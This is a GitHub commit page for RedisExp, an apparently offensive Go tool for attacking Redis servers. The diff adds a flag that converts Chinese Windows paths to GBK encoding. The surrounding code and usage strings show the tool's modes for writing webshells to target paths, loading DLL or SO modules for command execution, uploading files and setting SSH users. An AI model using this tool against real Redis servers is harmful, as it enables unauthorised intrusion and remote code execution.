Skip to content

Commit

Permalink
gbk
Browse files Browse the repository at this point in the history
  • Loading branch information
yuyan-sec committed Dec 7, 2024
1 parent 85fb25c commit bb4a640
Showing 1 changed file with 19 additions and 4 deletions.
23 changes: 19 additions & 4 deletions main.go
Original file line number Diff line number Diff line change
Expand Up @@ -31,7 +31,7 @@ var (
redisDir, redisDBFilename string
command, rpath, rfile, lfile, webshell, user string
execTemplate, execName string
b64 bool
b64, gbk bool
)

func init() {
Expand Down Expand Up @@ -68,6 +68,7 @@ cli 执行 Redis 命令
flag.StringVar(&user, "u", "root", "设置 ssh 用户名")

flag.BoolVar(&b64, "b", false, "对 webshell, ssh公钥等内容进行Base64解码")
flag.BoolVar(&gbk, "g", false, "windows 使用中文路径需要设置 -g")

flag.StringVar(&execTemplate, "t", "system.exec", "dll 或 so 命令执行函数")
flag.StringVar(&execName, "n", "system", "dll 或 so 函数名字")
Expand Down Expand Up @@ -132,9 +133,12 @@ func main() {

case "shell":
if rpath == "" || rfile == "" || webshell == "" {
fmt.Println("参数错误: RedisExp.exe -m shell -r 目标IP -p 目标端口 -w 密码 -rp 目标路径 -rf 目标文件名 -s Webshell内容")
fmt.Println("参数错误: RedisExp.exe -m shell -r 目标IP -p 目标端口 -w 密码 -rp 目标路径 -rf 目标文件名 -s Webshell内容 [中文路径需要 -g 参数]")
return
}
if gbk {
rpath = Utf8ToGbk(rpath)
}

echoShell(rpath, rfile, webshell)

Expand Down Expand Up @@ -167,6 +171,10 @@ func main() {
return
}

if gbk {
rpath = Utf8ToGbk(rpath)
}

if strings.EqualFold(rfile, "") {
rfile = "exp.dll"
}
Expand All @@ -187,6 +195,10 @@ func main() {
return
}

if gbk {
rpath = Utf8ToGbk(rpath)
}

redisUpload(lhost, lport, rpath, rfile, lfile)

case "close":
Expand All @@ -207,6 +219,9 @@ func main() {
fmt.Println("参数错误: RedisExp.exe -m dir -r 目标IP -p 目标端口 -w 密码 -rf 目标文件名[绝对路径]")
return
}
if gbk {
rfile = Utf8ToGbk(rfile)
}

res := configSet("dir", rfile)
fmt.Println(">>> config set dir " + rfile)
Expand Down Expand Up @@ -307,15 +322,15 @@ func configSet(str, data string) string {
func cliInfo(commandLine string) {
//fmt.Printf("%s:%s> %s\n", rhost, rport, commandLine)

fmt.Println(">>>", commandLine)
fmt.Println(">>>", GbkToUtf8(commandLine))
cli(commandLine)
}

// cli
func cli(commandLine string) {
result, err := redisCmd(commandLine)
if err != nil {
fmt.Println("Error:", err)
fmt.Println("Error:", GbkToUtf8(err.Error()))
return
}

Expand Down

0 comments on commit bb4a640

Please sign in to comment.